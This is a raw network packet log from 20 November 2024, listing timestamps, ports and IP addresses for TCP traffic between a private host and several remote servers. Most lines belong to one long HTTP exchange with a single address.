Nov 20, 2024 21:05:49.182270050 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.182619095 CET	49840	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.182624102 CET	443	49840	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.183213949 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.183231115 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.183769941 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.183774948 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.190346003 CET	443	49841	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.190742016 CET	49841	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.190774918 CET	443	49841	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.191210032 CET	49841	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.191215038 CET	443	49841	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.196247101 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.196319103 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.196340084 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.196383953 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.197063923 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.197079897 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.197562933 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.197647095 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.197727919 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.198417902 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:49.198447943 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:49.222167015 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.222249031 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.222399950 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.222459078 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.222569942 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.222709894 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.222862005 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.222912073 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.223397017 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.223442078 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.223786116 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.223798037 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.223855019 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.224699020 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.224778891 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.224912882 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.225220919 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.225538015 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.225719929 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.225840092 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.226484060 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.226490021 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.226703882 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.227036953 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.227334976 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.227370977 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.227432966 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.227740049 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.227904081 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.228316069 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.228334904 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.228379011 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.228408098 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.229171038 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.229239941 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.229357004 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.229427099 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.230088949 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.230195999 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.230216980 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.230456114 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.230989933 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.231024027 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.231026888 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.231070995 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.231878042 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.231971025 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.232028008 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.232083082 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.232736111 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.232805967 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.232855082 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.232960939 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.233647108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.233706951 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.234011889 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.234110117 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.234534979 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.234586000 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.234611988 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.234658003 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.235421896 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.235491037 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.235800982 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.235881090 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.236329079 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.236411095 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.236989975 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.237054110 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.237226009 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.237301111 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.237396955 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.237477064 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.238183975 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.238249063 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.238301039 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.238341093 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.239048958 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.239140987 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.239197969 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.239295006 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.239928007 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.239993095 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.240044117 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.240205050 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.240869045 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.240935087 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.240994930 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.241157055 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.241703033 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.241801977 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.241832018 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.242063999 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.242629051 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.242712021 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.243881941 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.243894100 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.243906021 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.243948936 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.243972063 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.244460106 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.244548082 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.244591951 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.244685888 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.245388031 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.245429039 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.245450020 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.245498896 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.246203899 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.246268988 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.247169018 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.247180939 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.247191906 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.247232914 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.247246027 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.248034000 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.248131037 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.248158932 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.248182058 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.251841068 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.251931906 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.252948046 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.252964973 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.252976894 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.252989054 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.253006935 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.253017902 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.253053904 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.253053904 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.253185034 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.253196955 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.253209114 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.253221989 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.253246069 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.253246069 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.253263950 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.253380060 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.253544092 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.253590107 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.253665924 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.254297972 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.254407883 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.254530907 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.254591942 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.255192041 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.255271912 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.255301952 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.255573034 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.257009983 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.257118940 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.260289907 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.260307074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.260319948 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.260332108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.260344028 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.260358095 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.260370016 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.260370016 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.260401964 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.260413885 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.260456085 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.260498047 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.261367083 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.261379957 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.261467934 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.262247086 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.262259960 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.262316942 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.262316942 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.263215065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.263271093 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.263367891 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.263427019 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.264053106 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.264106035 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.264898062 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.264955997 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.265063047 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.265074968 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.265131950 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.265135050 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.265146971 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.265170097 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.265197039 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.265197039 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.265214920 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.265362024 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.265577078 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.265964985 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.266004086 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.266488075 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.266539097 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.266875029 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.266931057 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.267069101 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.267175913 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.267889977 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.267962933 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.268116951 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.268203020 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.268645048 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.268731117 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.269073963 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.414196014 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.414305925 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.414453030 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.414594889 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.414608955 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.414618969 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.414665937 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.415208101 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.415327072 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.415673018 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.415752888 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.416054010 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.416167974 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.416331053 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.416709900 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.416873932 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.416963100 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.417203903 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.417367935 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.417794943 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.417869091 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.417912006 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.417912006 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.418586016 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.418699980 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.418734074 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.418768883 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.419476032 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.419534922 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.420495987 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.420510054 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.420571089 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.420571089 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.420623064 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.420780897 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.421207905 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.421302080 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.421739101 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.421864986 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.421952963 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.422012091 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.422075987 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.422143936 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.422833920 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.422949076 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.423064947 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.423672915 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.423829079 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.423834085 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.423918009 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.424556017 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.424568892 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.424627066 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.425368071 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.425474882 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.426218987 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.426235914 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.426249027 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.426316977 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.426316977 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.427040100 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.427126884 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.427294016 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.427359104 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.427901983 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.428014040 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.428092003 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.428174019 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.428738117 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.428949118 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.429105997 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.429265022 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.429572105 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.429605961 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.429651022 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.429651022 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.430464983 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.430531979 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.430619001 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.430680037 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.431281090 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.431340933 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.431653023 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.431740999 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.432154894 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.432260990 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.432291031 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.432339907 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.432965994 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.433065891 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.433275938 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.433351994 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.433830976 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.433912039 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.433974028 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.434022903 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.434643030 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.434727907 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.434923887 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.434998035 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.435534000 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.435610056 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.435611963 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.435756922 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.436316013 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.436367989 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.436502934 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.436563969 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.437212944 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.437304974 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.437381029 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.437484026 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.438110113 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.438218117 CET	80	49780	185.215.113.206	192.168.2.7
